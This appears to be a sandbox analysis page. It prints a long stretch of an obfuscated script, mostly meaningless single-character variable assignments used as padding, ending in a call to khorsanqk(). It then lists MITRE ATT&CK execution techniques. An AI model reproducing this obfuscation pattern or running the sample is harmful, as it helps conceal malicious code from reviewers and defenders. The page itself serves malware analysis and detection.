316	lqrtisne = "k";
317	lqrtisne = "S";
318	lqrtisne = "Q";
319	lqrtisne = "n";
320	lqrtisne = "i";
321	lqrtisne = "N";
322	lqrtisne = "y";
323	lqrtisne = "C";
324	lqrtisne = "J";
325	lqrtisne = "N";
326	lqrtisne = "J";
327	lqrtisne = "I";
328	lqrtisne = "G";
329	lqrtisne = "f";
330	lqrtisne = "p";
331	kpcbh = "G";
332	kpcbh = "O";
333	kpcbh = "e";
334	kpcbh = "e";
335	kpcbh = "T";
336	kpcbh = "O";
337	kpcbh = "f";
338	kpcbh = "p";
339	kpcbh = "O";
340	kpcbh = "Z";
341	kpcbh = "H";
342	kpcbh = "n";
343	kpcbh = "l";
344	kpcbh = "T";
345	kpcbh = "N";
346	kpcbh = "A";
347	kpcbh = "e";
348	kpcbh = "O";
349	kpcbh = "f";
350	kpcbh = "p";
351	kpcbh = "n";
352	kpcbh = "N";
353	kpcbh = "n";
354	kpcbh = "D";
355	kpcbh = "w";
356	kpcbh = "C";
357	kpcbh = "H";
358	dbryx = "W";
359	dbryx = "G";
360	dbryx = "o";
361	dbryx = "w";
362	dbryx = "A";
363	dbryx = "i";
364	dbryx = "f";
365	dbryx = "s";
366	dbryx = "Y";
367	dbryx = "D";
368	dbryx = "w";
369	dbryx = "Q";
370	dbryx = "H";
371	dbryx = "P";
372	dbryx = "R";
373	dbryx = "Q";
374	dbryx = "O";
375	dbryx = "z";
376	dbryx = "c";
377	dbryx = "r";
378	dbryx = "q";
379	dbryx = "j";
380	dbryx = "k";
381	dbryx = "O";
382	dbryx = "h";
383	dbryx = "F";
384	dbryx = "U";
385	dbryx = "M";
386	dbryx = "j";
387	dbryx = "P";
388	dbryx = "m";
389	dbryx = "I";
390	dbryx = "v";
391	dbryx = "g";
392	dbryx = "q";
393	dbryx = "L";
394	dbryx = "N";
395	dbryx = "h";
396	dbryx = "O";
397	dbryx = "T";
398	dbryx = "O";
399	dbryx = "K";
400	dbryx = "B";
401	dbryx = "e";
402	dbryx = "_";
403	sjrbtbuo = "l";
404	sjrbtbuo = "E";
405	sjrbtbuo = "t";
406	sjrbtbuo = "N";
407	sjrbtbuo = "B";
408	sjrbtbuo = "z";
409	sjrbtbuo = "U";
410	sjrbtbuo = "r";
411	sjrbtbuo = "m";
412	sjrbtbuo = "k";
413	sjrbtbuo = "D";
414	sjrbtbuo = "V";
415	sjrbtbuo = "X";
416	sjrbtbuo = "c";
417	sjrbtbuo = "p";
418	sjrbtbuo = "C";
419	sjrbtbuo = "k";
420	sjrbtbuo = "q";
421	sjrbtbuo = "P";
422	sjrbtbuo = "O";
423	sjrbtbuo = "A";
424	sjrbtbuo = "a";
425	sjrbtbuo = "K";
426	sjrbtbuo = "z";
427	sjrbtbuo = "v";
428	sjrbtbuo = "M";
429	sjrbtbuo = "k";
430	sjrbtbuo = "o";
431	sjrbtbuo = "c";
432	sjrbtbuo = "C";
433	sjrbtbuo = "m";
434	sjrbtbuo = "b";
435	skybv = "Y";
436	skybv = "d";
437	skybv = "X";
438	skybv = "o";
439	skybv = "P";
440	skybv = "l";
441	pwmnl = "M";
442	pwmnl = "g";
443	pwmnl = "O";
444	pwmnl = "U";
445	pwmnl = "m";
446	pwmnl = "w";
447	pwmnl = "d";
448	pwmnl = "G";
449	pwmnl = "U";
450	pwmnl = "j";
451	pwmnl = "h";
452	pwmnl = "R";
453	pwmnl = "G";
454	pwmnl = "Q";
455	pwmnl = "x";
456	pwmnl = "I";
457	pwmnl = "e";
458	pwmnl = "y";
459	pwmnl = "N";
460	pwmnl = "V";
461	pwmnl = "I";
462	pwmnl = "d";
463	pwmnl = "B";
464	pwmnl = "h";
465	pwmnl = "q";
466	pwmnl = "E";
467	pwmnl = "H";
468	pwmnl = "i";
469	pwmnl = "Y";
470	pwmnl = "e";
471	frullde = "B";
472	frullde = "Y";
473	frullde = "p";
474	frullde = "-";
475	spgpn = "c";
476	spgpn = "t";
477	lxchsg = "Z";
478	lxchsg = "T";
479	lxchsg = "v";
480	lxchsg = "G";
481	lxchsg = "P";
482	lxchsg = "y";
483	lxchsg = "K";
484	lxchsg = "J";
485	lxchsg = "O";
486	lxchsg = "f";
487	lxchsg = "N";
488	lxchsg = "T";
489	lxchsg = "S";
490	lxchsg = "N";
491	lxchsg = "m";
492	lxchsg = "p";
493	lxchsg = "Z";
494	lxchsg = "X";
495	lxchsg = "s";
496	lxchsg = "k";
497	lxchsg = "I";
498	lxchsg = "q";
499	lxchsg = "V";
500	lxchsg = "K";
501	lxchsg = "Y";
502	lxchsg = "E";
503	lxchsg = "B";
504	lxchsg = "O";
505	lxchsg = "o";
506	lxchsg = "Z";
507	lxchsg = "r";
508	lxchsg = "P";
509	lxchsg = "g";
510	lxchsg = "u";
511	lxchsg = "U";
512	lxchsg = "i";
513	lxchsg = "B";
514	lxchsg = "g";
515	lxchsg = "Y";
516	lxchsg = "B";
517	lxchsg = "m";
518	lxchsg = "k";
519	lxchsg = "U";
520	jyqjiw = "z";
521	jyqjiw = "E";
522	jyqjiw = "K";
523	jyqjiw = "g";
524	jyqjiw = "g";
525	jyqjiw = "H";
526	jyqjiw = "x";
527	jyqjiw = "g";
528	jyqjiw = "R";
529	jyqjiw = "G";
530	jyqjiw = "V";
531	jyqjiw = "T";
532	jyqjiw = "v";
533	jyqjiw = "V";
534	jyqjiw = "J";
535	jyqjiw = "d";
536	jyqjiw = "W";
537	jyqjiw = "K";
538	jyqjiw = "l";
539	jyqjiw = "B";
540	jyqjiw = "y";
541	jyqjiw = "E";
542	jyqjiw = "r";
543	jyqjiw = "U";
544	jyqjiw = "R";
545	jyqjiw = "w";
546	jyqjiw = "F";
547	jyqjiw = "x";
548	jyqjiw = "v";
549	jyqjiw = "a";
550	edgpa = "B";
551	edgpa = "k";
552	edgpa = "Y";
553	edgpa = "d";
554	edgpa = "L";
555	edgpa = "H";
556	edgpa = "E";
557	edgpa = "I";
558	edgpa = "A";
559	edgpa = "V";
560	edgpa = "z";
561	edgpa = "J";
562	edgpa = "m";
563	edgpa = "z";
564	edgpa = "J";
565	edgpa = "r";
566	edgpa = "B";
567	edgpa = "M";
568	edgpa = "t";
569	edgpa = "Q";
570	edgpa = "H";
571	edgpa = "C";
572	edgpa = "M";
573	edgpa = "B";
574	edgpa = "S";
575	edgpa = "v";
576	edgpa = "H";
577	edgpa = "N";
578	edgpa = "S";
579	edgpa = "N";
580	edgpa = "W";
581	edgpa = "W";
582	edgpa = "y";
583	edgpa = "d";
584	edgpa = "U";
585	edgpa = "y";
586	edgpa = "L";
587	edgpa = "h";
588	edgpa = "Q";
589	edgpa = "V";
590	edgpa = "L";
591	edgpa = "k";
592	edgpa = "N";
593	edgpa = "K";
594	wdwyojf = "z";
595	wdwyojf = "c";
596	wdwyojf = "k";
597	wdwyojf = "j";
598	wdwyojf = "O";
599	wdwyojf = "o";
600	wdwyojf = "F";
601	wdwyojf = "C";
602	wdwyojf = "R";
603	wdwyojf = "c";
604	wdwyojf = "Q";
605	wdwyojf = "J";
606	wdwyojf = "i";
607	wdwyojf = "a";
608	wdwyojf = "F";
609	wdwyojf = "D";
610	wdwyojf = "K";
611	wdwyojf = "o";
612	wdwyojf = "R";
613	wdwyojf = "a";
614	wdwyojf = "i";
615	wdwyojf = "b";
616	wdwyojf = "u";
617	wdwyojf = "o";
618	wdwyojf = "q";
619	wdwyojf = "f";
620	wdwyojf = "f";
621	wdwyojf = "G";
622	wdwyojf = "9";
623	yfzqxm = "A";
624	yfzqxm = "Y";
625	yfzqxm = "T";
626	yfzqxm = "a";
627	yfzqxm = "a";
628	yfzqxm = "H";
629	yfzqxm = "f";
630	yfzqxm = "q";
631	yfzqxm = "G";
632	yfzqxm = "n";
633	yfzqxm = "d";
634	yfzqxm = "g";
635	yfzqxm = "4";
636	mfynewbhc = "f";
637	mfynewbhc = "v";
638	mfynewbhc = "t";
639	mfynewbhc = "R";
640	mfynewbhc = "F";
641	mfynewbhc = "M";
642	mfynewbhc = "h";
643	mfynewbhc = "D";
644	mfynewbhc = "J";
645	mfynewbhc = "Y";
646	mfynewbhc = "P";
647	mfynewbhc = "B";
648	mfynewbhc = "C";
649	mfynewbhc = "E";
650	mfynewbhc = "G";
651	mfynewbhc = "X";
652	mfynewbhc = "r";
653	mfynewbhc = "K";
654	mfynewbhc = "D";
655	mfynewbhc = "d";
656	mfynewbhc = "d";
657	mfynewbhc = "e";
658	mfynewbhc = "s";
659	mfynewbhc = "b";
660	mfynewbhc = "b";
661	mfynewbhc = "Q";
662	mfynewbhc = "i";
663	mfynewbhc = "g";
664	mfynewbhc = "T";
665	mfynewbhc = "W";
666	mfynewbhc = "b";
667	mfynewbhc = "w";
668	mfynewbhc = "M";
669	mfynewbhc = "l";
670	mfynewbhc = "a";
671	mfynewbhc = "o";
672	mfynewbhc = "p";
673	mfynewbhc = "S";
674	mfynewbhc = "I";
675	mfynewbhc = "d";
676	mfynewbhc = "O";
677	mfynewbhc = "x";
678	vzvxvip = "x";
679	vzvxvip = "v";
680	vzvxvip = "L";
681	vzvxvip = "D";
682	vzvxvip = "w";
683	vzvxvip = "y";
684	vzvxvip = "A";
685	vzvxvip = "x";
686	vzvxvip = "b";
687	vzvxvip = "h";
688	juhrn = "h";
689	juhrn = "z";
690	juhrn = "Z";
691	juhrn = "a";
692	juhrn = "z";
693	juhrn = "Z";
694	juhrn = "Z";
695	juhrn = "i";
696	lyiwazqiv = "q";
697	lyiwazqiv = "v";
698	lyiwazqiv = "h";
699	lyiwazqiv = "u";
700	lyiwazqiv = "r";
701	lyiwazqiv = "v";
702	lyiwazqiv = "s";
703	lyiwazqiv = "C";
704	lyiwazqiv = "T";
705	lyiwazqiv = "F";
706	lyiwazqiv = "Q";
707	lyiwazqiv = "o";
708	lyiwazqiv = "H";
709	lyiwazqiv = "s";
710	lyiwazqiv = "V";
711	lyiwazqiv = "W";
712	lyiwazqiv = "o";
713	lyiwazqiv = "o";
714	lyiwazqiv = "M";
715	lyiwazqiv = "a";
716	lyiwazqiv = "M";
717	lyiwazqiv = "w";
718	lyiwazqiv = "u";
719	lyiwazqiv = "W";
720	lyiwazqiv = "O";
721	lyiwazqiv = "r";
722	lyiwazqiv = "L";
723	lyiwazqiv = "z";
724	lyiwazqiv = "l";
725	lyiwazqiv = "z";
726	lyiwazqiv = ":";
727	tvpxzg = "y";
728	tvpxzg = "u";
729	tvpxzg = "I";
730	tvpxzg = "l";
731	tvpxzg = "s";
732	tvpxzg = "t";
733	tvpxzg = "L";
734	tvpxzg = "x";
735	tvpxzg = "j";
736	tvpxzg = "C";
737	tvpxzg = "l";
738	tvpxzg = "d";
739	tvpxzg = "l";
740	tvpxzg = "b";
741	tvpxzg = "d";
742	tvpxzg = "5";
743	ufrgza = "Q";
744	ufrgza = "/";
745	nzocw = "f";
746	nzocw = "m";
747	nzocw = "o";
748	nzocw = "W";
749	nzocw = "A";
750	nzocw = "a";
751	nzocw = "P";
752	nzocw = "B";
753	nzocw = "g";
754	nzocw = "J";
755	nzocw = "f";
756	nzocw = "r";
757	nzocw = "E";
758	nzocw = "e";
759	nzocw = "t";
760	nzocw = "I";
761	nzocw = "u";
762	nzocw = "B";
763	nzocw = "A";
764	nzocw = "j";
765	nzocw = "I";
766	nzocw = "w";
767	uyqvlqs = "L";
768	uyqvlqs = "v";
769	uyqvlqs = "E";
770	uyqvlqs = "l";
771	uyqvlqs = "E";
772	uyqvlqs = "g";
773	uyqvlqs = "D";
774	uyqvlqs = "U";
775	uyqvlqs = "o";
776	uyqvlqs = "T";
777	uyqvlqs = "i";
778	uyqvlqs = "j";
779	uyqvlqs = "d";
780	uyqvlqs = "D";
781	uyqvlqs = "J";
782	uyqvlqs = "f";
783	uyqvlqs = "J";
784	uyqvlqs = "K";
785	uyqvlqs = "V";
786	uyqvlqs = "Z";
787	uyqvlqs = "a";
788	uyqvlqs = "B";
789	uyqvlqs = "B";
790	uyqvlqs = "E";
791	uyqvlqs = "1";
792	xmcwuz = "a";
793	xmcwuz = "Z";
794	xmcwuz = "o";
795	xmcwuz = "N";
796	xmcwuz = "6";
797	mwoblb = "n";
798	mwoblb = "x";
799	mwoblb = "O";
800	mwoblb = "G";
801	mwoblb = "p";
802	mwoblb = "H";
803	mwoblb = "U";
804	mwoblb = "C";
805	mwoblb = "K";
806	mwoblb = "A";
807	mwoblb = "G";
808	mwoblb = "J";
809	mwoblb = "n";
810	mwoblb = "J";
811	mwoblb = "T";
812	mwoblb = "f";
813	mwoblb = "J";
814	mwoblb = "S";
815	mwoblb = "K";
816	mwoblb = "b";
817	mwoblb = "X";
818	mwoblb = "G";
819	mwoblb = "h";
820	mwoblb = "H";
821	mwoblb = "u";
822	prwayyvl = "O";
823	prwayyvl = "r";
824	prwayyvl = "a";
825	prwayyvl = "s";
826	prwayyvl = "z";
827	prwayyvl = "v";
828	prwayyvl = "r";
829	prwayyvl = "R";
830	prwayyvl = "G";
831	prwayyvl = "D";
832	prwayyvl = "n";
833	prwayyvl = "i";
834	prwayyvl = "Y";
835	prwayyvl = "K";
836	prwayyvl = "J";
837	prwayyvl = "K";
838	prwayyvl = "t";
839	prwayyvl = "I";
840	prwayyvl = "n";
841	prwayyvl = "M";
842	prwayyvl = "Y";
843	prwayyvl = "p";
844	prwayyvl = "x";
845	prwayyvl = "P";
846	prwayyvl = "l";
847	prwayyvl = "O";
848	prwayyvl = "G";
849	prwayyvl = "t";
850	prwayyvl = "v";
851	prwayyvl = "z";
852	prwayyvl = "W";
853	prwayyvl = "e";
854	prwayyvl = "y";
855	prwayyvl = "S";
856	prwayyvl = "m";
857	prwayyvl = "w";
858	prwayyvl = "V";
859	prwayyvl = "c";
860	prwayyvl = "R";
861	uktxv = "m";
862	uktxv = "Q";
863	uktxv = "Y";
864	uktxv = "V";
865	uktxv = "B";
866	uktxv = "M";
867	uktxv = "W";
868	uktxv = "X";
869	uktxv = "q";
870	uktxv = "S";
871	uktxv = "E";
872	uktxv = "p";
873	uktxv = "N";
874	uktxv = "p";
875	uktxv = "q";
876	uktxv = "G";
877	uktxv = "b";
878	uktxv = "G";
879	uktxv = "u";
880	uktxv = "I";
881	uktxv = "H";
882	uktxv = "T";
883	uktxv = "M";
884	uktxv = "u";
885	uktxv = "o";
886	uktxv = "z";
887	uktxv = "A";
888	uktxv = "C";
889	uktxv = "J";
890	uktxv = "v";
891	nwfjkesp = "R";
892	nwfjkesp = "l";
893	nwfjkesp = "Q";
894	nwfjkesp = "m";
895	nwfjkesp = "R";
896	nwfjkesp = "f";
897	nwfjkesp = "m";
898	nwfjkesp = "p";
899	nwfjkesp = "m";
900	nwfjkesp = "a";
901	nwfjkesp = "O";
902	nwfjkesp = "K";
903	nwfjkesp = "y";
904	nwfjkesp = "J";
905	nwfjkesp = "t";
906	nwfjkesp = "H";
907	nwfjkesp = "a";
908	nwfjkesp = "b";
909	nwfjkesp = "V";
910	nwfjkesp = "i";
911	nwfjkesp = "T";
912	nwfjkesp = "J";
913	nwfjkesp = "X";
914	nwfjkesp = "d";
915	nwfjkesp = "q";
916	nwfjkesp = "d";
917	nwfjkesp = "a";
918	nwfjkesp = "w";
919	nwfjkesp = "i";
920	nwfjkesp = "E";
921	nwfjkesp = "k";
922	nwfjkesp = " ";
923	qdywlnyfc = "h";
924	qdywlnyfc = "W";
925	qdywlnyfc = "X";
926	qdywlnyfc = "a";
927	qdywlnyfc = "f";
928	qdywlnyfc = "a";
929	qdywlnyfc = "u";
930	qdywlnyfc = "w";
931	qdywlnyfc = "E";
932	qdywlnyfc = "q";
933	qdywlnyfc = "e";
934	qdywlnyfc = "f";
935	qdywlnyfc = "i";
936	qdywlnyfc = "A";
937	qdywlnyfc = "u";
938	qdywlnyfc = "m";
939	qdywlnyfc = "V";
940	qdywlnyfc = "K";
941	qdywlnyfc = "O";
942	qdywlnyfc = "J";
943	qdywlnyfc = "k";
944	qdywlnyfc = "Q";
945	qdywlnyfc = "m";
946	qdywlnyfc = "s";
947	qdywlnyfc = "C";
948	qdywlnyfc = "n";
949	qdywlnyfc = "g";
950	qdywlnyfc = "w";
951	qdywlnyfc = "A";
952	qdywlnyfc = "k";
953	qdywlnyfc = "O";
954	juvowky = "G";
955	juvowky = "N";
956	batgvxelz = "m";
957	batgvxelz = "D";
958	batgvxelz = "k";
959	batgvxelz = "h";
960	batgvxelz = "J";
961	batgvxelz = "O";
962	batgvxelz = "Z";
963	batgvxelz = "e";
964	batgvxelz = "w";
965	batgvxelz = "P";
966	batgvxelz = "P";
967	batgvxelz = "N";
968	batgvxelz = "Y";
969	batgvxelz = "J";
970	batgvxelz = "M";
971	batgvxelz = "s";
972	batgvxelz = "b";
973	batgvxelz = "c";
974	batgvxelz = "g";
975	batgvxelz = "z";
976	batgvxelz = "R";
977	batgvxelz = "F";
978	batgvxelz = "N";
979	batgvxelz = "k";
980	batgvxelz = "Q";
981	batgvxelz = "J";
982	batgvxelz = "x";
983	batgvxelz = "w";
984	batgvxelz = "j";
985	batgvxelz = "n";
986	batgvxelz = "M";
987	batgvxelz = "S";
988	batgvxelz = "U";
989	batgvxelz = "b";
990	batgvxelz = "a";
991	batgvxelz = "b";
992	batgvxelz = "l";
993	batgvxelz = "X";
994	batgvxelz = "w";
995	batgvxelz = "n";
996	batgvxelz = "k";
997	batgvxelz = "q";
998	batgvxelz = "K";
999	batgvxelz = "E";
1000	wkonkkmt = "W";
1001	wkonkkmt = "H";
1002	wkonkkmt = "N";
1003	wkonkkmt = "J";
1004	wkonkkmt = "S";
1005	wkonkkmt = ".";
1006	lucdhv = "C";
1007	lucdhv = "n";
1008	lucdhv = "C";
1009	lucdhv = "x";
1010	lucdhv = "I";
1011	lucdhv = "O";
1012	lucdhv = "o";
1013	lucdhv = "2";
1014	iplluxbq = "g";
1015	iplluxbq = "I";
1016	iplluxbq = "h";
1017	iplluxbq = "v";
1018	iplluxbq = "z";
1019	iplluxbq = "R";
1020	iplluxbq = "L";
1021	iplluxbq = "p";
1022	iplluxbq = "n";
1023	iplluxbq = "u";
1024	iplluxbq = "X";
1025	iplluxbq = "F";
1026	iplluxbq = "p";
1027	iplluxbq = "f";
1028	iplluxbq = "C";
1029	iplluxbq = "v";
1030	iplluxbq = "A";
1031	iplluxbq = "i";
1032	iplluxbq = "w";
1033	iplluxbq = "u";
1034	iplluxbq = "r";
1035	iplluxbq = "H";
1036	iplluxbq = "d";
1037	iplluxbq = "s";
1038	iplluxbq = "K";
1039	iplluxbq = "I";
1040	iplluxbq = "u";
1041	iplluxbq = "F";
1042	iplluxbq = "m";
1043	iplluxbq = "F";
1044	iplluxbq = "Q";
1045	iplluxbq = "&";
1046	apnciocso = "X";
1047	apnciocso = "X";
1048	apnciocso = "X";
1049	apnciocso = "S";
1050	apnciocso = "D";
1051	apnciocso = "T";
1052	apnciocso = "L";
1053	apnciocso = "t";
1054	apnciocso = "G";
1055	apnciocso = "w";
1056	apnciocso = "W";
1057	apnciocso = "K";
1058	apnciocso = "m";
1059	apnciocso = "G";
1060	apnciocso = "e";
1061	apnciocso = "Z";
1062	apnciocso = "l";
1063	apnciocso = "K";
1064	apnciocso = "N";
1065	apnciocso = "j";
1066	apnciocso = "a";
1067	apnciocso = "E";
1068	apnciocso = "g";
1069	apnciocso = "0";
1070	vqxoiohxi = "k";
1071	vqxoiohxi = "a";
1072	vqxoiohxi = "V";
1073	vqxoiohxi = "c";
1074	vqxoiohxi = "h";
1075	vqxoiohxi = "G";
1076	vqxoiohxi = "V";
1077	vqxoiohxi = "c";
1078	vqxoiohxi = "R";
1079	vqxoiohxi = "o";
1080	vqxoiohxi = "S";
1081	vqxoiohxi = "W";
1082	vqxoiohxi = "p";
1083	vqxoiohxi = "7";
1084	wklszp = "Q";
1085	wklszp = "f";
1086	wklszp = "M";
1087	wklszp = "o";
1088	wklszp = "n";
1089	wklszp = "G";
1090	wklszp = "p";
1091	wklszp = "E";
1092	wklszp = "J";
1093	wklszp = "B";
1094	wklszp = "b";
1095	wklszp = "j";
1096	wklszp = "q";
1097	wklszp = "\"";
1098	jwldgnt = "e";
1099	jwldgnt = "h";
1100	jwldgnt = "Y";
1101	jwldgnt = "Q";
1102	jwldgnt = "n";
1103	reizh = "H";
1104	reizh = "A";
1105	reizh = "N";
1106	reizh = "Z";
1107	reizh = "v";
1108	reizh = "t";
1109	reizh = "k";
1110	reizh = "z";
1111	reizh = "e";
1112	reizh = "q";
1113	reizh = "R";
1114	reizh = "V";
1115	reizh = "w";
1116	reizh = "e";
1117	reizh = "m";
1118	reizh = "w";
1119	reizh = "K";
1120	reizh = "V";
1121	reizh = "R";
1122	reizh = "Z";
1123	reizh = "H";
1124	reizh = "q";
1125	reizh = "D";
1126	reizh = "y";
1127	reizh = "S";
1128	reizh = "e";
1129	reizh = "B";
1130	reizh = "C";
1131	vecgggn = "T";
1132	vecgggn = "f";
1133	vecgggn = "y";
1134	vecgggn = "u";
1135	vecgggn = "K";
1136	vecgggn = "B";
1137	vecgggn = "a";
1138	vecgggn = "x";
1139	vecgggn = "a";
1140	vecgggn = "S";
1141	vecgggn = "R";
1142	vecgggn = "d";
1143	vecgggn = "o";
1144	vecgggn = "n";
1145	vecgggn = "z";
1146	vecgggn = "M";
1147	vecgggn = "@";
1148	kmryvdyw = "e";
1149	kmryvdyw = "T";
1150	kmryvdyw = "a";
1151	kmryvdyw = "N";
1152	kmryvdyw = "g";
1153	kmryvdyw = "l";
1154	kmryvdyw = "z";
1155	kmryvdyw = "G";
1156	kmryvdyw = "e";
1157	kmryvdyw = "l";
1158	kmryvdyw = "o";
1159	kmryvdyw = "r";
1160	kmryvdyw = "v";
1161	kmryvdyw = "W";
1162	kmryvdyw = "x";
1163	kmryvdyw = "Y";
1164	kmryvdyw = "A";
1165	kmryvdyw = "V";
1166	kmryvdyw = "a";
1167	kmryvdyw = "i";
1168	kmryvdyw = "i";
1169	kmryvdyw = "M";
1170	kmryvdyw = "g";
1171	kmryvdyw = "O";
1172	kmryvdyw = "w";
1173	kmryvdyw = "P";
1174	kmryvdyw = "r";
1175	llcuqt = "Z";
1176	llcuqt = "b";
1177	llcuqt = "b";
1178	llcuqt = "P";
1179	llcuqt = "M";
1180	llcuqt = "b";
1181	llcuqt = "N";
1182	llcuqt = "E";
1183	llcuqt = "X";
1184	llcuqt = "K";
1185	llcuqt = "I";
1186	llcuqt = "S";
1187	llcuqt = "E";
1188	llcuqt = "I";
1189	llcuqt = "F";
1190	llcuqt = "U";
1191	llcuqt = "o";
1192	jwivd = "A";
1193	jwivd = "R";
1194	jwivd = "U";
1195	jwivd = "I";
1196	jwivd = "d";
1197	jwivd = "M";
1198	jwivd = "N";
1199	jwivd = "m";
1200	jwivd = "H";
1201	jwivd = "L";
1202	jwivd = "M";
1203	jwivd = "K";
1204	jwivd = "M";
1205	jwivd = "q";
1206	jwivd = "b";
1207	jwivd = "D";
1208	jwivd = "a";
1209	jwivd = "D";
1210	jwivd = "H";
1211	jwivd = "o";
1212	jwivd = "g";
1213	jwivd = "P";
1214	kptvkn = "N";
1215	kptvkn = "d";
1216	kptvkn = "D";
1217	kptvkn = "R";
1218	kptvkn = "e";
1219	kptvkn = "a";
1220	kptvkn = "W";
1221	kptvkn = "d";
1222	kptvkn = "Z";
1223	kptvkn = "B";
1224	kptvkn = "j";
1225	vdzkrbi = "c";
1226	vdzkrbi = "i";
1227	vdzkrbi = "E";
1228	vdzkrbi = "a";
1229	vdzkrbi = "x";
1230	vdzkrbi = "x";
1231	vdzkrbi = "B";
1232	vdzkrbi = "t";
1233	vdzkrbi = "D";
1234	vdzkrbi = "h";
1235	vdzkrbi = "h";
1236	vdzkrbi = "i";
1237	vdzkrbi = "m";
1238	vdzkrbi = "G";
1239	vdzkrbi = "E";
1240	vdzkrbi = "Q";
1241	vdzkrbi = "f";
1242	vdzkrbi = "d";
1243	vdzkrbi = "B";
1244	vdzkrbi = "o";
1245	vdzkrbi = "I";
1246	vdzkrbi = "D";
1247	vdzkrbi = "U";
1248	vdzkrbi = "S";
1249	vdzkrbi = "S";
1250	vdzkrbi = "Y";
1251	vdzkrbi = "L";
1252	vdzkrbi = "V";
1253	vdzkrbi = "d";
1254	vdzkrbi = "q";
1255	blvbxm = "K";
1256	blvbxm = "r";
1257	blvbxm = "I";
1258	blvbxm = "u";
1259	blvbxm = "v";
1260	blvbxm = "Y";
1261	blvbxm = "O";
1262	blvbxm = "d";
1263	blvbxm = "s";
1264	blvbxm = "s";
1265	blvbxm = "V";
1266	blvbxm = "b";
1267	blvbxm = "Q";
1268	blvbxm = "Q";
1269	blvbxm = "R";
1270	blvbxm = "v";
1271	blvbxm = "f";
1272	blvbxm = "R";
1273	blvbxm = "E";
1274	blvbxm = "g";
1275	blvbxm = "k";
1276	blvbxm = "E";
1277	blvbxm = "T";
1278	blvbxm = "d";
1279	blvbxm = "Z";
1280	blvbxm = "I";
1281	blvbxm = "Z";
1282	blvbxm = "f";
1283	blvbxm = "H";
1284	blvbxm = "q";
1285	blvbxm = "v";
1286	blvbxm = "V";
1287	blvbxm = "V";
1288	blvbxm = "Z";
1289	blvbxm = "k";
1290	yxtslbra = "d";
1291	yxtslbra = "Z";
1292	yxtslbra = "j";
1293	yxtslbra = "l";
1294	yxtslbra = "z";
1295	yxtslbra = "b";
1296	yxtslbra = "n";
1297	yxtslbra = "C";
1298	yxtslbra = "O";
1299	yxtslbra = "X";
1300	yxtslbra = "B";
1301	yxtslbra = "p";
1302	yxtslbra = "L";
1303	yxtslbra = "W";
1304	yxtslbra = "y";
1305	yxtslbra = "L";
1306	yrqpvuvph = "A";
1307	yrqpvuvph = "U";
1308	yrqpvuvph = "C";
1309	yrqpvuvph = "O";
1310	yrqpvuvph = "o";
1311	yrqpvuvph = "w";
1312	yrqpvuvph = "I";
1313	yrqpvuvph = "h";
1314	yrqpvuvph = "Q";
1315	itqhofvw = "o";
1316	itqhofvw = "n";
1317	itqhofvw = "R";
1318	itqhofvw = "V";
1319	itqhofvw = "w";
1320	itqhofvw = "D";
1321	itqhofvw = "l";
1322	itqhofvw = "W";
1323	itqhofvw = "p";
1324	itqhofvw = "Z";
1325	itqhofvw = "B";
1326	itqhofvw = "u";
1327	itqhofvw = "I";
1328	itqhofvw = "O";
1329	itqhofvw = "U";
1330	itqhofvw = "U";
1331	itqhofvw = "m";
1332	itqhofvw = "R";
1333	itqhofvw = "w";
1334	itqhofvw = "Y";
1335	itqhofvw = "s";
1336	itqhofvw = "y";
1337	itqhofvw = "u";
1338	itqhofvw = "P";
1339	itqhofvw = "E";
1340	itqhofvw = "P";
1341	itqhofvw = "t";
1342	itqhofvw = "c";
1343	itqhofvw = "z";
1344	itqhofvw = "t";
1345	itqhofvw = "l";
1346	itqhofvw = "X";
1347	itqhofvw = "o";
1348	itqhofvw = "W";
1349	itqhofvw = "H";
1350	itqhofvw = "F";
1351	auxyps = "R";
1352	auxyps = "r";
1353	auxyps = "N";
1354	auxyps = "m";
1355	auxyps = "e";
1356	auxyps = "r";
1357	auxyps = "j";
1358	auxyps = "E";
1359	auxyps = "u";
1360	auxyps = "h";
1361	auxyps = "W";
1362	auxyps = "m";
1363	auxyps = "I";
1364	ajbmrknho = "b";
1365	ajbmrknho = "T";
1366	ajbmrknho = "W";
1367	ajbmrknho = "q";
1368	ajbmrknho = "o";
1369	ajbmrknho = "a";
1370	ajbmrknho = "g";
1371	ajbmrknho = "c";
1372	ajbmrknho = "P";
1373	ajbmrknho = "w";
1374	ajbmrknho = "b";
1375	ajbmrknho = "y";
1376	ajbmrknho = "Z";
1377	ajbmrknho = "F";
1378	ajbmrknho = "P";
1379	ajbmrknho = "x";
1380	ajbmrknho = "j";
1381	ajbmrknho = "W";
1382	khorsanqk ( );	khorsanqk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

